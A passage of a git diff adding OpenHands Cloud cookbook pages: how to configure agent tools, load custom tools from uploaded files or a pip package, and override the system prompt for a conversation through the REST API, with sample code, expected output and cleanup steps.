+    event["tool_name"]
+    for event in response.json()["items"]
+    if event.get("kind") == "ActionEvent"
+}
+```
+
+### 5. Cleanup
+
+Delete the conversation, then the sandbox.
+
+```python
+requests.delete(
+    f"{agent_server_url}/api/conversations/{conv_id}",
+    headers={"X-Session-API-Key": session_key},
+)
+
+# DELETE /api/v1/sandboxes/{id} requires sandbox_id as BOTH a path segment AND a
+# query parameter; omitting the query parameter returns HTTP 422 and leaks the
+# sandbox.
+requests.delete(
+    f"https://app.all-hands.dev/api/v1/sandboxes/{sandbox_id}",
+    params={"sandbox_id": sandbox_id},
+    headers={"Authorization": f"Bearer {OH_API_KEY}"},
+)
+```
+
+## Run It
+
+### Prerequisites
+
+```bash
+pip install requests
+
+# OpenHands Cloud API key (for sandbox management)
+export OH_API_KEY=your-cloud-api-key
+
+# OpenHands LLM API key (get from Profile -> API Keys)
+export LLM_API_KEY=your-llm-api-key
+
+# LiteLLM proxy URL (default works for OpenHands Cloud)
+export LLM_BASE_URL=https://llm-proxy.app.all-hands.dev/
+```
+
+
+  **Important:** When using the agent-server API directly, you must provide both
+  `LLM_API_KEY` and `LLM_BASE_URL`. The agent-server needs to know where to send
+  LLM requests and how to authenticate with the LiteLLM proxy.
+
+
+### Run
+
+```bash
+python agent_no_browser.py
+```
+
+The script creates a sandbox, creates a conversation with the custom tools,
+runs a small task, verifies the tools, and deletes the sandbox. It exits with a
+non-zero status if verification fails.
+
+Expected output:
+
+```text
+=== Creating sandbox via Cloud API ===
+  sandbox: 2osAXsenK3xynchCyUvt4T
+  waiting for sandbox...
+    status: RUNNING
+  ✓ sandbox ready: 2osAXsenK3xynchCyUvt4T
+  agent-server: https://xxxx.prod-runtime.all-hands.dev
+
+=== Creating conversation ===
+  model: litellm_proxy/claude-sonnet-4-5-20250929
+  base_url: https://llm-proxy.app.all-hands.dev/
+  tools: terminal, file_editor, task_tracker
+  ✓ conversation created: 392e2589-...
+
+=== Running conversation ===
+  conversation already running
+  waiting for completion...
+    execution_status: running
+  ✓ conversation completed successfully
+
+=== Verifying tools ===
+
+  Available tools:
+  total tools: 5
+
+  🔧 Core tools (5):
+    • terminal
+    • file_editor
+    • task_tracker
+    • finish
+    • think
+
+  ✅ PASS: all expected tools present: ['terminal', 'file_editor', 'task_tracker']
+  ✅ PASS: no browser tools in available tools list
+
+  Tools actually used: ['file_editor']
+  ✅ PASS: no browser tools were used
+
+=== Results ===
+View conversation: https://app.all-hands.dev/conversations/392e2589-...
+Agent-server: https://xxxx.prod-runtime.all-hands.dev
+
+=== Cleanup ===
+  ✓ deleted conversation 392e2589-...
+  ✓ deleted sandbox 2osAXsenK3xynchCyUvt4T
+
+✅ Success: agent configured with the expected tools (no browser).
+```
+
+
+  The exact tool set can vary with your account configuration (for example, MCP
+  integrations may add more tools). What this example guarantees is that the
+  three requested tools are present and no browser tool is included.
+
+
+### Keep Resources for Inspection
+
+```bash
+python agent_no_browser.py --keep
+```
+
+This skips cleanup so you can inspect the conversation in the UI.
+
+## Available Tools
+
+Common tool names you can include:
+
+- `terminal` - Execute bash commands
+- `file_editor` - Read/write/edit files
+- `task_tracker` - Track tasks and progress
+- `browser_tool_set` - Web browser automation (excluded in this example)
+
+## Common Issues
+
+### "Unauthorized" error
+
+Make sure you're using the **session API key** for agent-server calls, not your
+Cloud API key:
+
+```python
+# Wrong - Cloud API key on the agent-server
+headers = {"Authorization": f"Bearer {OH_API_KEY}"}
+
+# Correct - session API key
+headers = {"X-Session-API-Key": session_key}
+```
+
+### Only `finish` and `think` are present
+
+You almost certainly created the conversation with an `agent` object that
+contained an `llm` but no `tools`. Pass the tools inline in the same request (see
+"The Key Insight" above).
+
+### HTTP 422 when deleting a sandbox
+
+`DELETE /api/v1/sandboxes/{id}` also requires `sandbox_id` as a query parameter:
+`DELETE /api/v1/sandboxes/{id}?sandbox_id={id}`.
+
+### Conversation never finishes
+
+The default timeout is 3 minutes. If your task is complex, inspect the
+conversation in the UI (`https://app.all-hands.dev/conversations/{conv_id}`) or
+fetch its events, and consider a simpler task or a longer timeout.
+
+## Architecture Notes
+
+```mermaid
+flowchart TD
+    A["Cloud API (app.all-hands.dev)
- Authentication (Bearer OH_API_KEY)
- Sandbox lifecycle (create / list / delete)"] -->|creates| B["Agent-Server (sandbox-specific runtime URL)
- Auth via session API key (X-Session-API-Key)
- Agent configuration (LLM, tools)
- Conversation execution"] +``` + +**Key insight:** Agent customization happens at the **agent-server level**. The +simplest, reliable way to set tools is to pass them inline in the `agent` object +when creating the conversation. + +## Next Steps + +- See `../custom-agent-with-tool/` for adding completely custom tools. + +## APIs Used + +### Key Agent-Server APIs Used + +| Endpoint | Method | Purpose | +| --------------------------------------- | ------ | -------------------------------------------------------- | +| `/api/conversations` | POST | Create conversation (pass `agent.llm` and `agent.tools`) | +| `/api/conversations/{id}/run` | POST | Start conversation execution | +| `/api/conversations/{id}` | GET | Get conversation status | +| `/api/conversations/{id}/events/search` | GET | Get conversation events (tools, actions) | +| `/api/conversations/{id}` | DELETE | Delete the conversation | + +### Cloud APIs Used + +| Endpoint | Method | Purpose | +| ---------------------------------------- | ------ | ----------------------------------------- | +| `/api/v1/sandboxes` | POST | Create a sandbox | +| `/api/v1/sandboxes?id={id}` | GET | Poll sandbox status / read `exposed_urls` | +| `/api/v1/sandboxes/{id}?sandbox_id={id}` | DELETE | Delete the sandbox | + +## Related + + + + + + + + diff --git a/cookbook/custom-agent-with-pip-tool.mdx b/cookbook/custom-agent-with-pip-tool.mdx new file mode 100644 index 000000000..42addf8f2 --- /dev/null +++ b/cookbook/custom-agent-with-pip-tool.mdx @@ -0,0 +1,160 @@ +--- +title: Custom Pip Tool Agent +description: Load a custom tool from a published pip package via pip install --target and tool_module_qualnames. +icon: box +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (custom-agent-with-pip-tool/README.md). Edit the source, not this file. */} + + + +Load a custom tool from a **published Python package** in OpenHands Cloud. The package +is installed via `pip install --target /workspace`, making it importable by the frozen +agent-server, which then loads and registers the tool via `tool_module_qualnames`. + +This is the natural evolution of `custom-agent-with-tool`: same loading mechanism +(declare the tool in `agent.tools`, map it in `tool_module_qualnames`), but the +*deploy* step becomes **"pip-install-into-working-dir"** instead of +**"upload source files."** + +The example uses **[oh-markdown-tool](https://github.com/jpshackelford/oh-markdown-tool)** +(`oh-markdown-tool[openhands]==0.2.1`), a real published package that provides structural +markdown editing (renumber sections, manage TOC, etc.). The agent fixes a markdown doc +with messy numbering and adds a table of contents. + +## How It Works + +1. **Create a sandbox** (`POST /api/v1/sandboxes`) and wait for `RUNNING`. +2. **Install the package** into `/workspace` via `pip install --target`: + ```bash + pip install --target /workspace --no-deps oh-markdown-tool[openhands]==0.2.1 + pip install --target /workspace mdformat pymarkdownlnt + ``` + The `--target` flag puts the package into the conversation's working directory, + which is on the agent-server's `sys.path`. We use `--no-deps` to skip dependencies + that are already **bundled** in the frozen agent-server (`openhands-sdk`, `pydantic`, + `rich`), then install only the **non-bundled** deps (`mdformat`, `pymarkdownlnt`) + explicitly. +3. **Create a sample markdown file** with messy numbering (sections 5, 10, 3). +4. **Create a conversation** that maps the tool via `tool_module_qualnames`: + ```python + "agent": { + "tools": [ + {"name": "terminal"}, + {"name": "file_editor"}, + {"name": "markdown_document"}, # the custom tool + ] + }, + "tool_module_qualnames": {"markdown_document": "oh_markdown_tool.tool"}, + ``` + The agent-server imports `oh_markdown_tool.tool`, which registers the tool (the + package's `tool.py` calls `register_tool("markdown_document", ...)` on import). +5. **Run and verify**: + - The tool appears in `SystemPromptEvent.tools` (registered). + - The tool appears in `ActionEvent` records (used). + - The file is actually modified (TOC added, sections renumbered 1, 2, 3). + +## Prerequisites + +```bash +pip install requests +export OH_API_KEY=your-openhands-cloud-api-key +export LLM_API_KEY=your-llm-api-key +``` + +Optional overrides (sensible defaults are used otherwise): + +```bash +export LLM_MODEL=litellm_proxy/claude-sonnet-4-5-20250929 +export LLM_BASE_URL=https://llm-proxy.app.all-hands.dev/ +``` + +## Run It + +```bash +python working_example.py # runs and cleans up the sandbox +python working_example.py --keep # leave the sandbox up for inspection +``` + + + **⚠️ Timing note**: If the script runs and deletes the sandbox too quickly, conversation + events may not have synced from the agent-server to the main API yet, making the + conversation appear empty or incomplete in the Cloud UI. To inspect conversation events + in real time, **run with `--keep`** to leave the sandbox alive, or add a delay before + cleanup. The script prints the conversation URL — you can view it while the sandbox is + still running. + + +Expected output: + +```text +[demo] === Verification === +[demo] registered tools: ['terminal', 'file_editor', 'Markdown Document Tool', 'finish', 'think'] +[demo] tools used: ['file_editor', 'markdown_document'] +[demo] PASS: tool 'markdown_document' is registered +[demo] PASS: tool 'markdown_document' was invoked by the agent +[demo] PASS: file was modified (TOC added, sections renumbered) +[demo] SUCCESS: the tool was loaded from the pip package and used. +``` + +## Why `pip install --target` (and Not Plain `pip install`)? + +On OpenHands Cloud the agent-server is a **frozen, self-contained binary** (built with +PyInstaller). A plain `pip install` targets the sandbox's *system* Python interpreter, +which the frozen server cannot see — so the module would never be importable. + +The conversation's **working directory is on the agent-server's import path**, so +`pip install --target /workspace` places the package where the server can actually +import it. The bundled dependencies (`openhands-sdk`, `pydantic`, `rich`) are already +available inside the frozen binary, so we skip them (`--no-deps`) and only install the +package's own code plus its *non-bundled* dependencies. + +This approach works for any published package, not just `oh-markdown-tool` — the key is +installing into the working directory and being aware of what's already bundled. + +## Verification (Same Technique as the Other Examples) + +Both this example and `custom-agent-with-tool` read the `SystemPromptEvent.tools` array +to confirm registration, and the `ActionEvent` records to confirm usage. This example +adds a third check: **did the tool actually do something?** We read the markdown file +after the run and confirm it was modified (TOC present, sections renumbered). + +## The Tool: `oh-markdown-tool` + +`oh-markdown-tool` is a real, published package ([PyPI](https://pypi.org/project/oh-markdown-tool/) | +[GitHub](https://github.com/jpshackelford/oh-markdown-tool)) that provides structural +markdown editing. It's built with the OpenHands SDK and demonstrates the full packaging +story: core library (no SDK dependency) + optional `[openhands]` extra for the agent +tool integration. + +The tool offers commands like: + +- `overview` — show document structure +- `renumber` — fix section numbering +- `toc_update` — add/update table of contents +- `move`, `insert`, `delete`, `promote`, `demote` — section operations +- `rewrap`, `lint`, `fix`, `cleanup` — formatting + +For this example we use `renumber` + `toc_update` to fix a messy doc. + +## Files + +| File | Purpose | +| -------------------- | ------------------------------------------------------------------------- | +| `working_example.py` | End-to-end runner: create sandbox → pip install → run → verify → clean up | + +## Cleanup + +Without `--keep` the sandbox is deleted automatically. With `--keep`, delete it when +done: + +```bash +curl -X DELETE "https://app.all-hands.dev/api/v1/sandboxes/?sandbox_id=" \ + -H "Authorization: Bearer $OH_API_KEY" +``` + + + Note: `DELETE /api/v1/sandboxes/{id}` requires `sandbox_id` as **both** the path + segment and a query parameter; omitting the query parameter returns HTTP 422 and + leaks the sandbox. + diff --git a/cookbook/custom-agent-with-tool.mdx b/cookbook/custom-agent-with-tool.mdx new file mode 100644 index 000000000..490e64c4b --- /dev/null +++ b/cookbook/custom-agent-with-tool.mdx @@ -0,0 +1,166 @@ +--- +title: Custom Agent With Tool +description: Add custom server-side tools via source file upload and tool_module_qualnames. +icon: wrench +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (custom-agent-with-tool/README.md). Edit the source, not this file. */} + + + +Add a **completely custom, server-side tool** to an OpenHands Cloud agent — without +forking or rebuilding the agent-server. The agent-server loads your tool at +conversation-creation time via the `tool_module_qualnames` mechanism. + +The example ships a small demo tool (the **Bureau of Bug Registration**) and proves, +end to end, that the agent **registers**, **uses**, and **reports output from** it. + +Why this tool? It does something an LLM would never produce on its own and **could not +fake**: it assigns each bug a deterministic, hash-derived **Case ID** (e.g. `BUG-59C20D`) +plus a gloriously bureaucratic classification. Because the Case ID is a SHA-256 slice +of the bug report, the only way the agent's answer can contain the correct ID is if +it actually called the tool — making the demonstration unfalsifiable. + +## How It Works + +1. **Create a sandbox** (`POST /api/v1/sandboxes`) and wait for `RUNNING`. Read the + `AGENT_SERVER` URL and the `session_api_key` from the sandbox record. +2. **Deploy the tool** as an importable package in the conversation's working + directory, `/workspace/bug_registry/`, using the agent-server file API + (`POST /api/file/upload?path=...`). Two files are uploaded: `__init__.py` and + `tool.py` (the contents of `custom_tool_definition.py`). +3. **Create a conversation** (`POST /api/conversations`) that lists the tool in + `agent.tools` and maps it in `tool_module_qualnames`. +4. **Run and verify** (`POST .../run`, then read events). The custom tool must show + up in the `SystemPromptEvent.tools` list (registered) and as an `ActionEvent` + `tool_name` (used). + +### Why upload into the working directory (and not `pip install`)? + +On OpenHands Cloud the agent-server is a **frozen, self-contained binary** (built +with PyInstaller). A normal `pip install` targets a *different* Python interpreter +that the frozen server cannot see, so the module would never be importable and the +tool would fail to register. + +The conversation's **working directory is on the agent-server's import path**, so +dropping the package there makes `import rubber_duck.tool` work with no install +step. The tool's own imports (`openhands.sdk`, `pydantic`) resolve from inside the +frozen server, where they're always available. + +Uploading the file (rather than writing it through a shell heredoc) also means the +**tool source can contain anything** — quotes, `EOF` markers, backslashes — with no +escaping or injection pitfalls. + +## The Core Idea: Declare + Locate + +Creating a conversation with a custom tool is a two-part contract: + +- `agent.tools` — **which** tools to activate, by name: + `[{"name": "terminal"}, {"name": "file_editor"}, {"name": "bug_registry"}]` +- `tool_module_qualnames` — **where** a tool comes from, as an importable module: + `{"bug_registry": "bug_registry.tool"}` + +On conversation creation the agent-server imports each mapped module. Importing has +a **side effect**: the module's `register_tool("bug_registry", BugRegistryTool)` call +runs and registers the tool. If the name is requested but nothing registered it, +the server returns `ToolDefinition '' is not registered`. + +Built-in tools (`terminal`, `file_editor`, ...) don't need an entry — the server +already knows where those live. **Only your custom tools need a qualname mapping.** + +## Prerequisites + +```bash +pip install requests +export OH_API_KEY=your-openhands-cloud-api-key +export LLM_API_KEY=your-llm-api-key +``` + +Optional overrides (sensible defaults are used otherwise): + +```bash +export LLM_MODEL=litellm_proxy/claude-sonnet-4-5-20250929 +export LLM_BASE_URL=https://llm-proxy.app.all-hands.dev/ +``` + +## Run It + +```bash +python working_example.py # runs and cleans up the sandbox +python working_example.py --keep # leave the sandbox up for inspection +``` + + + **⚠️ Timing note**: If the script runs and deletes the sandbox too quickly, conversation + events may not have synced from the agent-server to the main API yet, making the + conversation appear empty or incomplete in the Cloud UI. To inspect conversation events + in real time, **run with `--keep`** to leave the sandbox alive, or add a delay before + cleanup. The script prints the conversation URL — you can view it while the sandbox is + still running. + + +Expected output: + +```text +[demo] === Verification === +[demo] registered tools: ['terminal', 'file_editor', 'bug_registry', 'finish', 'think'] +[demo] tools used: ['bug_registry'] +[demo] Case ID issued by tool: BUG-59C20D +[demo] PASS: custom tool 'bug_registry' is registered +[demo] PASS: custom tool 'bug_registry' was used by the agent +[demo] PASS: agent reported the tool's Case ID (BUG-59C20D) in its answer +[demo] SUCCESS: the custom tool was loaded and used in OpenHands Cloud. +``` + +## Verifying Registration (Same Technique as `custom-agent-no-browser`) + +The agent-server records a `SystemPromptEvent` whose `tools` array is the exact set +of tools the agent was given. Both examples read it the same way: + +```python +system_events = [e for e in items if e.get("kind") == "SystemPromptEvent"] +registered = [t.get("title") for t in system_events[0].get("tools", [])] +assert "bug_registry" in registered # registered / available +assert "bug_registry" in tools_used # actually invoked (from ActionEvents) +``` + +The verification also extracts the **Case ID** from the tool's observation (the ground +truth) and confirms that exact ID appears in the agent's final answer — proving the +tool's output shaped the response and the agent didn't fabricate it. + +## The Example Tool + +`custom_tool_definition.py` defines a `bug_registry` tool with the OpenHands SDK: a +`ToolDefinition` + typed `Action`/`Observation` + an `Executor`. It takes a `problem` +(and optional `code`) and deterministically derives a **hash-based Case ID** plus an +absurd bureaucratic classification ("Haunted Copy-Paste Residue", "Gaslighting Boolean", +etc.) from the SHA-256 of the report. Importing the module registers the tool. + +The prompt in `working_example.py` is **directive** — it explicitly asks the agent to +file the bug and report the official Case ID — so the happy path is deterministic and +unfalsifiable: the hash-derived ID can only come from the tool. This proves the tool is +registered, callable, returns output, and that output demonstrably reaches the agent's +answer. + +## Files + +| File | Purpose | +| --------------------------- | ----------------------------------------------------------------------------- | +| `working_example.py` | End-to-end runner: create sandbox -> deploy tool -> run -> verify -> clean up | +| `custom_tool_definition.py` | The custom tool, implemented with the OpenHands SDK (uploaded as `tool.py`) | + +## Cleanup + +Without `--keep` the sandbox is deleted automatically. With `--keep`, delete it when +done: + +```bash +curl -X DELETE "https://app.all-hands.dev/api/v1/sandboxes/?sandbox_id=" \ + -H "Authorization: Bearer $OH_API_KEY" +``` + + + Note: `DELETE /api/v1/sandboxes/{id}` requires `sandbox_id` as **both** the path + segment and a query parameter; omitting the query parameter returns HTTP 422 and + leaks the sandbox. + diff --git a/cookbook/custom-system-prompt.mdx b/cookbook/custom-system-prompt.mdx new file mode 100644 index 000000000..38f9a4bae --- /dev/null +++ b/cookbook/custom-system-prompt.mdx @@ -0,0 +1,425 @@ +--- +title: Custom System Prompt +description: Override the default OpenHands system prompt with a custom one for specialized agents. +icon: message +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (custom-system-prompt/README.md). Edit the source, not this file. */} + + + +Override the OpenHands system prompt for one conversation with your own text, +using the Cloud **App Conversation API**. + +`POST /api/v1/app-conversations` accepts a `system_prompt` field. When set, +it **replaces** the default static system prompt for that conversation. The +per-conversation dynamic context — repo context, loaded skills, custom +secrets, current datetime — is still appended automatically, so your custom +prompt composes with whatever runtime context the sandbox provides. + +Feature shipped in OpenHands Enterprise **1.62.0** +([enterprise#335](https://github.com/OpenHands/enterprise/pull/335)) and is +also live on OpenHands Cloud. + +## When to Use This + +- Your agent has a specialised role (research assistant, code reviewer, + documentation writer) and the default coding-agent framing gets in the way. +- You're building a domain-specific product on top of OpenHands and want to + own the prompt without asking the agent to *ignore* the default one. +- You need to enforce specific behaviour or persona for a single + conversation without changing user- or org-level settings. + +For long-lived overrides, put the text in an **agent profile** instead; +`system_prompt` is a per-conversation override. + +## What Gets Replaced, and What Doesn't + +`SystemPromptEvent` is the first event in every conversation and carries +two structured fields: + +| Field | Contains | Overridden by `system_prompt`? | +| ----------------- | ---------------------------------------------------------------------------------------------- | --------------------------------------------------------- | +| `system_prompt` | The static system prompt (a `{cache_prompt, type, text}` object) | **Yes** — its `.text` becomes your custom prompt verbatim | +| `dynamic_context` | Runtime context: repo context, ``, ``, ``, host info | No — still appended by the server | + +`system_message_suffix` is a *separate* field on the same request and is +appended to the dynamic context; you can set both. + +## Anatomy of the Default System Prompt + +Before you replace the default prompt wholesale, it's worth knowing what +you're displacing. The SDK composes the prompt from a small set of named, +guarded sections. The references below are pinned to +[`software-agent-sdk@v1.50.1`](https://github.com/OpenHands/software-agent-sdk/tree/v1.50.1) +so the line numbers and content stay stable; bump the tag when auditing a +newer release. + +### Two blocks on one system message + +The default agent ships the prompt as a `SystemPromptEvent` with two +content blocks on a single `role: system` message +([`event/llm_convertible/system.py`](https://github.com/OpenHands/software-agent-sdk/blob/v1.50.1/openhands-sdk/openhands/sdk/event/llm_convertible/system.py)): + +| Block | Field on the event | What it carries | Cacheable | +| ----------- | ---------------------- | ---------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- | +| 1 (static) | `system_prompt.text` | Identity, role, work habits, security policy, model-specific rules | **Yes** — marked `cache_prompt=True` | +| 2 (dynamic) | `dynamic_context.text` | Current datetime, repo context, loaded ``, custom ``, your `system_message_suffix` | **No** — left unmarked so the static prefix stays shared across conversations | + +The caching split is wired in +[`llm/llm.py::_apply_prompt_caching`](https://github.com/OpenHands/software-agent-sdk/blob/v1.50.1/openhands-sdk/openhands/sdk/llm/llm.py) +— for Anthropic-style prefix caching, only index 0 gets the cache marker. +Every conversation your account starts can hit the same cached static +block, which is the whole reason the two-block shape exists. + +### What goes into each block + +Static-tier sections live in +[`context/prompts/sections/static.py`](https://github.com/OpenHands/software-agent-sdk/blob/v1.50.1/openhands-sdk/openhands/sdk/context/prompts/sections/static.py); +dynamic-tier sections in +[`context/prompts/sections/dynamic.py`](https://github.com/OpenHands/software-agent-sdk/blob/v1.50.1/openhands-sdk/openhands/sdk/context/prompts/sections/dynamic.py). +The default composition order is pinned in +[`context/prompts/presets.py`](https://github.com/OpenHands/software-agent-sdk/blob/v1.50.1/openhands-sdk/openhands/sdk/context/prompts/presets.py): + +**Static block, in order** — `` and `` (identity), `` +(AGENTS.md or persistent-memory guidance), ``, +``, ``, ``, +``, ``, `` +(work habits), `` and `` (safety +policy), `` (only if `enable_browser`), +``, ``, ``, +``, and `` (per-model-family tweaks for +Claude, Gemini, GPT-5). + +**Dynamic block, in order** — ``, ``, +``, your `system_message_suffix` (raw, no wrapper), +``, and `` **last** on purpose: it's +the only per-conversation volatile value, so putting it at the tail keeps +the stable dynamic content a cache-friendly prefix even on providers that +cache the dynamic block too. + +Setting `system_prompt` on `POST /api/v1/app-conversations` **replaces the +entire static block above** — all 17-ish sections, verbatim text and all — +with your custom text. The dynamic block is unaffected. + +### Writing a custom `system_prompt` without breaking caching + +The static block's whole value is that it's the same bytes every time your +account hits the LLM. Anthropic's prefix cache keys on the exact byte +prefix: a one-character change splits one cached prefix into two, each +with its own cold-start cost on the next miss. OpenAI's and Gemini's +caches have the same shape of pitfall. So when you write your own +`system_prompt`: + +- **Don't interpolate per-conversation volatile values** into the text. + No `datetime.now()`, no request id, no conversation id, no user email, + no repo URL, no sandbox id, no working directory. Any of these in the + static block means every conversation gets its own cache entry — + effectively no caching at all. +- **Don't interpolate per-user profile fields** either (API key, display + name, org name). Even if the value changes rarely, it still shards the + cache per-user, and anything secret-shaped doesn't belong in a cached + blob. +- **If you need date-aware behaviour, read the dynamic block.** The server + always appends `` to `dynamic_context` — reference it + from the static text (e.g. "see `` for today's date") + instead of baking a timestamp in. +- **Keep the exact same bytes across runs that are logically "the same + agent".** If you tweak wording, do it on a deploy boundary, not inside + the request path. +- **Front-load the parts you're least likely to edit.** On a tail-only + edit, the longest unchanged prefix still hits the cache; on a prefix + edit, nothing does. +- **If you need per-conversation flavour, use `system_message_suffix`** + (goes into the uncached dynamic block) rather than templating it into + `system_prompt`. + +A sanity check: hash the string you're about to send +(`hashlib.sha256(system_prompt.encode()).hexdigest()[:12]`) and log it. If +that hash changes between two conversations that should be equivalent, you +have a cache leak. + +### `system_prompt` vs. skills vs. `system_message_suffix` — when to use which + +All three let you shape the agent's instructions, but they pay very +different context-window and caching costs: + +| Mechanism | Where it lands | Cost | Use for | +| ------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | +| `system_prompt` | Cached static block | Paid once per unique prompt, then free (within the cache window) | Identity, tone, hard rules, response format — things the agent should see on **every** turn of **every** conversation | +| **Skills** (`disabled_skills` on the start request, or your own via the plugin / sandbox-upload paths) | Dynamic `` block, with per-skill bodies loaded only on trigger | Catalog line costs tokens every turn; the full skill body only costs tokens on turns it fires | Specialised procedures, long reference material, service-specific recipes — things that matter **sometimes** | +| `system_message_suffix` | Dynamic block (uncached), appended after `` | Paid every turn, every conversation it's set on | Short per-conversation nudges that compose with the default without rewriting the full static text | + +Rule of thumb — **if the instruction applies to every turn of every +conversation this agent runs, it belongs in `system_prompt`. If it +applies sometimes, make it a skill. If it's a one-conversation tweak, +use `system_message_suffix`.** + +Resist the urge to pack long domain procedures into `system_prompt` just +because it feels tidier. Every token in the static block is a token the +LLM reads before responding to anything — a skill that fires on 1-in-20 +turns pays its full-body cost \~5% as often as the static block does. + +## How It Works + +### 1. Start the conversation + +`POST /api/v1/app-conversations` is asynchronous: it returns a +[`AppConversationStartTask`](/) whose `id` is the +**task id**, not the conversation id. Omit `sandbox_id` and the App Server +provisions a fresh sandbox for you. + +```python +payload = { + "system_prompt": "You are a research assistant...", + "initial_message": { + "role": "user", + "content": [{"type": "text", "text": "Say hello."}], + }, + "title": "custom-system-prompt demo", +} +task = requests.post( + f"{base_url}/api/v1/app-conversations", + headers={"Authorization": f"Bearer {api_key}"}, + json=payload, +).json() +task_id = task["id"] +``` + +### 2. Wait for `app_conversation_id` + +Poll `/api/v1/app-conversations/start-tasks?ids=` until the task +reaches `READY` and hands back `app_conversation_id` (and, if the server +provisioned one, `sandbox_id`). The endpoint is a "search by ids" +lookup — `ids` is a required, repeatable query parameter and the +response is a JSON array of the matching tasks. + +```python +while not conv_id: + time.sleep(3) + item = requests.get( + f"{base_url}/api/v1/app-conversations/start-tasks", + headers=headers, + params={"ids": task_id}, + ).json()[0] + if item["status"] == "ERROR": + raise RuntimeError(item.get("detail")) + conv_id = item.get("app_conversation_id") + sandbox_id = item.get("sandbox_id") or sandbox_id +``` + +### 3. Verify from the `SystemPromptEvent` + +The Cloud events endpoint mirrors the agent-server view, so you can read +the event without needing the sandbox's `session_api_key`. + +```python +event = requests.get( + f"{base_url}/api/v1/conversation/{conv_id}/events/search", + headers=headers, + params={"kind__eq": "SystemPromptEvent", "limit": 1}, +).json()["items"][0] + +assert custom_prompt in event["system_prompt"]["text"] +``` + +Note the shape: `event["system_prompt"]` is a `{cache_prompt, type, text}` +object — the actual prompt string is at `.text`. + +### 4. Cleanup + +`DELETE /api/v1/app-conversations/{id}` frees the conversation. Delete the +sandbox separately when you're done with it. The sandbox delete endpoint +is `DELETE /api/v1/sandboxes/{id}` and additionally requires `sandbox_id` +as a query parameter — pass the same id in both places, or the server +returns HTTP 422. + +```python +requests.delete(f"{base_url}/api/v1/app-conversations/{conv_id}", headers=headers) +requests.delete( + f"{base_url}/api/v1/sandboxes/{sandbox_id}", + headers=headers, + params={"sandbox_id": sandbox_id}, +) +``` + +## Prerequisites + +```bash +pip install requests +export OH_API_KEY="your-api-key" # Cloud: Profile → API Keys. + # OHE: Settings → API Keys on your instance. +``` + +You do **not** need to set LLM credentials — the App Server uses whatever +LLM your account is configured with. + +## Run It + +```bash +python custom_system_prompt.py + +# or against an OpenHands Enterprise instance: +python custom_system_prompt.py --base-url https://your-ohe.example.com + +# supply your own prompt / message: +python custom_system_prompt.py \ + --prompt "You are Sir Reginald, a pirate. Every reply starts with 'Arrr!'" \ + --message "Say hello." + +# keep resources for inspection (no cleanup at the end): +python custom_system_prompt.py --keep +``` + +The script starts a conversation with `system_prompt` set, fetches the first +`SystemPromptEvent`, asserts the custom text is there, and cleans up. +Exit status is non-zero if verification fails. + +### Real output + +Captured against an OpenHands Enterprise 1.67.0 instance: + +```text +=== start conversation === + custom prompt: You are a research assistant. Answer questions concisely and accurately. When wr... + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: SETTING_UP_SKILLS + start-task status: SETTING_UP_SKILLS + start-task status: STARTING_CONVERSATION + start-task status: STARTING_CONVERSATION + start-task status: READY +conversation: 7698ab13bb994b3181ea01d23652a2ca +sandbox: 3U13tOWV00GZpo1bhnhMBf + +=== verify SystemPromptEvent === + system_prompt.text (124 chars): You are a research assistant. Answer questions concisely and accurately. When writing code, focus on clarity and simplic... + dynamic_context.text (47806 chars) — appended automatically; contains repo/skills/secrets/datetime blocks + + PASS: custom prompt found in SystemPromptEvent + +=== cleanup === + deleted conversation 7698ab13bb994b3181ea01d23652a2ca + deleted sandbox 3U13tOWV00GZpo1bhnhMBf +``` + +## Prompt Gallery + +Swap `--prompt` (or `SYSTEM_PROMPT`) for any of these to try them out. + +### Research assistant + +```text +You are a research assistant. Answer questions concisely and accurately. +When writing code, focus on clarity and simplicity. Always cite your sources +when making factual claims. +``` + +### Code reviewer + +```text +You are a code reviewer. Analyze code for correctness, security, and +maintainability. Provide specific, actionable feedback. Focus on material +issues, not style preferences. +``` + +### Documentation writer + +```text +You are a technical documentation writer. Write clear, accurate, and +comprehensive documentation. Use examples to illustrate concepts. +Structure content with clear headings and logical flow. +``` + +### Data analyst + +```text +You are a data analyst. Analyze data to extract insights and patterns. +Use appropriate statistical methods and visualizations. Explain your +findings clearly with supporting evidence. +``` + +## Composition with `system_message_suffix` + +`system_message_suffix` is a separate field appended to the dynamic +context. You can use both together: + +```python +payload = { + "system_prompt": "You are a research assistant...", + "system_message_suffix": "Focus on academic papers published after 2020.", + ... +} +``` + +The resulting prompt structure is: + +```text +[system_prompt.text — your custom static prompt] + +[dynamic_context.text — repo context, skills, secrets, datetime] +[system_message_suffix — appended to the dynamic context] +``` + +## Planning Agent (`agent_type=plan`) + +When `agent_type=plan` is set alongside `system_prompt`, the custom prompt +still replaces the built-in planning static prompt, but the planning tools +and workflow instructions are kept — the agent keeps its ability to create +and update plans, with your text as the foundation. + +## ACP Agents + +For ACP (Agent Communication Protocol) agents, which delegate to external +CLIs (Claude Code, Gemini CLI, etc.), `system_prompt` is **ignored** with a +server-side warning (`app_conversation_start:system_prompt_ignored_for_acp_agent`). +ACP agents own their own system prompt and cannot be overridden via the REST +API. + +## Feature Availability + +- OpenHands Cloud (currently deployed) +- OpenHands Enterprise **1.62.0+** + ([enterprise#335](https://github.com/OpenHands/enterprise/pull/335)) + +To verify on a specific deployment, look for `system_prompt` in the +`AppConversationStartRequest` schema: + +```bash +curl -s https://your-deployment/openapi.json \ + | jq '.components.schemas["AppConversationStartRequest-Input"].properties.system_prompt' +``` + +## APIs Used + +| Endpoint | Method | Purpose | +| ----------------------------------------- | ------ | --------------------------------------------- | +| `/api/v1/app-conversations` | POST | Start the conversation (returns a start task) | +| `/api/v1/app-conversations/start-tasks` | GET | Poll the start task for `app_conversation_id` | +| `/api/v1/conversation/{id}/events/search` | GET | Read `SystemPromptEvent` to verify | +| `/api/v1/app-conversations/{id}` | DELETE | Delete the conversation | +| `/api/v1/sandboxes/{id}?sandbox_id={id}` | DELETE | Delete the sandbox | + +All calls use 